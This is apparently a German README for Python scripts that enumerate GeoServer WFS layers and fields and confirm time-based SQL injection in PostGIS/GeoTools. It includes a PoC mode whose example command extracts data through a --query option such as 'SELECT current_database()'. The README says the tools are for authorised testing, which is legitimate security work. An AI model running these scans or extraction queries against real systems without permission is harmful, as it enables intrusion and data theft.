
Python-Skripte zur Inventarisierung von GeoServer-WFS-Endpunkten und zur Verifizierung zeitbasierter SQL-Injection-Schwachstellen in PostGIS/GeoTools, mit einem dedizierten PoC-Modus für autorisierte Tests.
Dieses Repository enthält zwei Python-Skripte für die Untersuchung von GeoServer-WFS-Endpunkten.
wfs_inventory.pyZweck: Layer, XSD-Felder und WFS-Werte inventarisieren sowie Kandidaten optional über eine zeitbasierte Prüfung verifizieren.
Ausführbeispiele:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyZweck: Kombinierter Einstiegspunkt für die Inventur sowie ein separater PoC-Modus.
Ausführbeispiele:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
Wichtiger Hinweis: Die zeitbasierte Prüfung und der PoC-Modus dürfen nur gegen Systeme verwendet werden, für die eine ausdrückliche Testfreigabe vorliegt. Der normale Inventurmodus verwendet ausschließlich reguläre WFS-Operationen.
Optional ausführbar machen:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
Der Standardpfad /geoserver/wfs wird automatisch ergänzt. Folgende Angaben
sind daher gleichwertig:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
Bei einer abweichenden Installation muss der vollständige WFS-Pfad angegeben werden.
Nur für ausdrücklich autorisierte Systeme:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
Während der Prüfung erscheint pro Kandidat eine Messung auf stderr:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
Ein bestandener Screen ist noch kein positiver Befund. Nur wenn die zweite, längere Messung ebenfalls besteht, wird ein Parameterblock ausgegeben.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE aktiviert automatisch die ausführliche Diagnose und
schreibt sie in die angegebene Datei.
Der Standardmodus auto arbeitet die WFS-Informationen in dieser Reihenfolge
ab:
GetCapabilities wird einmal geöffnet:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
Die XML-Antwort wird gestreamt. Sobald ein FeatureType/Name gefunden wird,
steht der nächste typeName fest.
Für diesen Layer wird unmittelbar DescribeFeatureType mit
version=2.0.0 ausgeführt.
Das Skript extrahiert die XSD-Elemente und wählt String-/JSON-Felder mit ID- oder Nummern-ähnlichem Namen aus.
Der Kandidat wird abhängig vom Aufruf geprüft:
--sleep: Stichprobenwerte müssen syntaktisch gültiges JSON sein.--sleep N: Eine Kontrollanfrage und eine zeitbasierte Prüfanfrage
werden gemessen. Die JSON-Wertprüfung wird dabei übersprungen.Das Ergebnis wird sofort ausgegeben und geflusht.
Erst danach wird der nächste typeName aus der laufenden
GetCapabilities-Antwort gelesen.
Dadurch muss eine große GetCapabilities-Antwort nicht vollständig verarbeitet
werden, bevor das erste Ergebnis erscheint.
Ohne --sleep berücksichtigt der automatische Modus standardmäßig
String-/JSON-Felder mit ID- oder Nummern-ähnlichem Namen.
Mit --sleep verwendet --candidate-scope auto dagegen alle einfachen
Nicht-Geometriefelder. XSD-Typ und ID-Namensmuster blockieren die Timing-Prüfung
dann nicht mehr. Das verhindert False Negatives bei numerischen,
Datum-/Boolean- oder herstellerspezifischen XSD-Typen.
Erkannte Namensmuster sind unter anderem:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
Bei der zeitbasierten Prüfung muss der Feldname zusätzlich ein einfacher
Bezeichner im Format [A-Za-z_][A-Za-z0-9_]* sein.
Ohne --sleep wird geprüft, ob die beobachteten Werte syntaktisch als JSON
interpretiert werden können. Deshalb gilt beispielsweise auch der String
"383205" als Kandidat, weil sein Inhalt eine gültige JSON-Zahl darstellt.
Diese Prüfung ist eine Heuristik und kein Schwachstellennachweis.
Mit --sleep 1 entscheidet ausschließlich die Zeitmessung. Ein Kandidat gilt
standardmäßig als positiv, wenn die Prüfanfrage gegenüber der Kontrollanfrage
mindestens 70 Prozent der angeforderten Sleep-Zeit zusätzlich benötigt.
--timing-result-type auto prüft zuerst resultType=hits und bei einem
negativen Ergebnis anschließend resultType=results.
Vorläufig positive Messungen werden zwingend mit einer längeren Sleep-Zeit
bestätigt. Ohne explizites --confirm-sleep verwendet das Skript
max(3, --sleep * 3), begrenzt auf 10 Sekunden. Dadurch führt eine einzelne
Latenzspitze bei --sleep 1 nicht mehr zu vulnerable=true.
Die Standardausgabe enthält einen Block pro gültigem Layer:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN enthält den normalisierten WFS-Endpunkt und die passenden
Werte für --typename und --field_name.
--valid-fields N zählt Layer-Blöcke, nicht einzelne Felder. Wenn weniger als
N gültige Layer existieren, wird der restliche Katalog weiter untersucht.
Mit --max-layers lässt sich die maximale Laufzeit begrenzen.
Die Optionen --diagnose oder --valid-diagnose FILE ergänzen unter anderem:
GetCapabilities-URL,DescribeFeatureType-URL,GetFeature-URL undBeispiel:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
Auf einen Namespace begrenzen:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
Jedes Feld wird als JSON-Objekt mit Name, XSD-Typ, nillable,
id_candidate und usable_property ausgegeben.
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl